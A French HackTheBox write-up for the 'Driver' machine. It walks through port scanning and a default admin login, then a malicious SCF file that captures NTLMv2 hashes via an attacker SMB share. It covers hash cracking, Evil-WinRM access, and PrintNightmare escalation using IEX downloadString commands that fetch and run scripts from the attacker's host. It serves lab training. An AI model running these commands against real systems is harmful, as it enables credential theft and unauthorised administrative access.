> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md).

# Compte rendu HackTheBox de Driver

{% embed url="<https://app.hackthebox.com/machines/387>" %}

{% hint style="warning" %}
**Compétences :**

* Deviner le mot de passe
* Fichier SCF malveillant
* Élévation locale des privilèges via le Spouleur d'impression (PrintNightmare) (CVE-2021-1675]
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/780d238b67f1d42f599657a8b7d86d1dfd77c010" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/96e78a89ef4b8a5630c4eaf3f1df390d42b1c599" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :** Exploration des ports ouverts et exportation dans le fichier "allPorts" dans le répertoire Nmap :

```bash
nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts
```

<figure><img src="/files/472c6a0fe01cd9538517c9afd4c3480eff7b44f4" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractport :**

Utilisation de la fonction extractport pour afficher les ports ouverts de manière concise et les copier dans le presse-papiers.

<figure><img src="/files/6c509450a74b7f0c993c46a8a37c95987194bfa4" alt="" width="563"><figcaption></figcaption></figure>

**Analyse des versions des ports avec Nmap :** Utilisation de Nmap pour analyser les versions des ports et extraire les informations dans le fichier "targeted" :

```bash
nmap -sCV -p80,135,445 -oN targeted
```

<figure><img src="/files/ef3bb2d8bee4c0e30a5be039b122baad464019e0" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` fichier :

<figure><img src="/files/7a9d31fc6d00096c9dd71d805a397a49eb079851" alt="" width="563"><figcaption></figcaption></figure>

### Analyse du port 80 :

Le port 80 héberge un serveur web avec un panneau de connexion.

<figure><img src="/files/e676896af070f6d40dd3839cd104d1e672723549" alt=""><figcaption></figcaption></figure>

Analyse avec **WhatWeb** identifie un nom d'utilisateur par défaut : `admin`.

<figure><img src="/files/660b8a4c17d48ee9cf584b22ac63c297b4d68021" alt=""><figcaption></figcaption></figure>

Tentative de connexion à `admin:admin` comme identifiant.

### Centre de mise à jour du firmware MFP :

<figure><img src="/files/b2a8283642f22d68acd0dfcfa56681fc8e78562b" alt=""><figcaption></figcaption></figure>

Le site propose une option de téléchargement du firmware. Le message indique :

> Sélectionnez le modèle d'imprimante et téléchargez la mise à jour du firmware correspondante sur notre partage de fichiers. Notre équipe de test examinera les téléchargements manuellement et commencera bientôt les tests.

<figure><img src="/files/78bb1a8420f88b99d69189e6636f1acc58ae8848" alt=""><figcaption></figcaption></figure>

## Exploitation - Fichier SCF malveillant :

Création d'un fichier `.scf` malveillant pour capturer le NTLMv2 d'un utilisateur lorsqu'il l'ouvre :

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

Écoute avec **impacket** pour capturer NTLMv2 :

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

Capturer le hash NTLMv2 de l'utilisateur `tony`.

<figure><img src="/files/cfaa57c7b8269be95f478cc94b1648d11c2f2a30" alt=""><figcaption></figcaption></figure>

Craquer le hash NTLM avec **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`tony:liltony`

<figure><img src="/files/5cf26a703e076685719560f833a04efc7f1dce04" alt=""><figcaption></figcaption></figure>

## Connexion SMB et WinRM :

**Vérification de l'accès** avec CrackMapExec :

```bash
crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/1bf69621baff7b0751d20b86a50763e0179f5abb" alt=""><figcaption></figcaption></figure>

/*/* WinRM/*/* connexion avec CrackMapExec :

```bash
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/1c13b7dee483c9def25869fcc3ab9366e22fbd71" alt=""><figcaption></figcaption></figure>

**Prendre le contrôle avec Evil-WinRM**:

```bash
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/7bd2ca7510e8161d96df932bf9356560c7e6fa6b" alt=""><figcaption></figcaption></figure>

### Flag user.txt :

<figure><img src="/files/7bd2ca7510e8161d96df932bf9356560c7e6fa6b" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges :

### **1. Énumération avec PowerUp :**

* Téléchargement du **script PowerUp.ps1** sur la machine d'attaque et ajout de la commande `Invoke-AllChecks` à la fin pour lancer tous les contrôles.

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1>" %}

Transfert du script vers la machine victime via un serveur HTTP Python :

```bash
python3 -m http.server 80
```

Exécution sur la machine cible :

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')
```

> **Résultat**: Aucun élément pertinent trouvé.

<figure><img src="/files/50afb5d9d91e5a682226704fbcc1c2edb89cf190" alt=""><figcaption></figcaption></figure>

### **2. Énumération avec winPEAS :**

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855>" %}

Transfert de l'outil **winPEASx64.exe** vers la machine victime :

`upload winPEASx64.exe`

<figure><img src="/files/8db69a66e14b8e898589b6ae2eddb693f62c5570" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a64cbd5d858702f4876c2859c577de7d4124605e" alt=""><figcaption></figcaption></figure>

## **Exploitation de PrintNightmare (CVE-2021-1675)**

Un **processus spoolsv** vulnérable est détecté, à l'écoute sur un port TCP.

<figure><img src="/files/95df867447518f1208360053a932163be411f63e" alt=""><figcaption></figcaption></figure>

Utilisation d'un script d'exploitation pour PrintNightmare, disponible sur GitHub.

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/362ce0cf20839237eb4169fc11f37a367f077341" alt=""><figcaption></figcaption></figure>

Voici les commandes à exécuter :

1. **Transfert du script** pour éviter le blocage par Windows Defender :

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

2. **Création d'un utilisateur administrateur** nommé `jordan`:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 
```

<figure><img src="/files/d7244f2ce989030a8166eb11915070f8fdcb9b03" alt=""><figcaption></figcaption></figure>

`jordan:jordan1234!$`

> **Statut**: `jordan` l'utilisateur fait maintenant partie du groupe admin.

<figure><img src="/files/617d0fa9d4375e5c8c517ff482622a4c37591750" alt=""><figcaption></figcaption></figure>

### Connexion avec des privilèges d'administrateur

Connexion à la machine via WinRM avec **Evil-WinRM**:

```powershell
evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'
```

<figure><img src="/files/22f57770de90878683c3cc3cf2223fc37ab1b176" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/7033016adac90dc4b86efc489cb5cd33b94cc939" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/84f241b5995ffd0afca71e4f089da0b2e8da4aa5" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
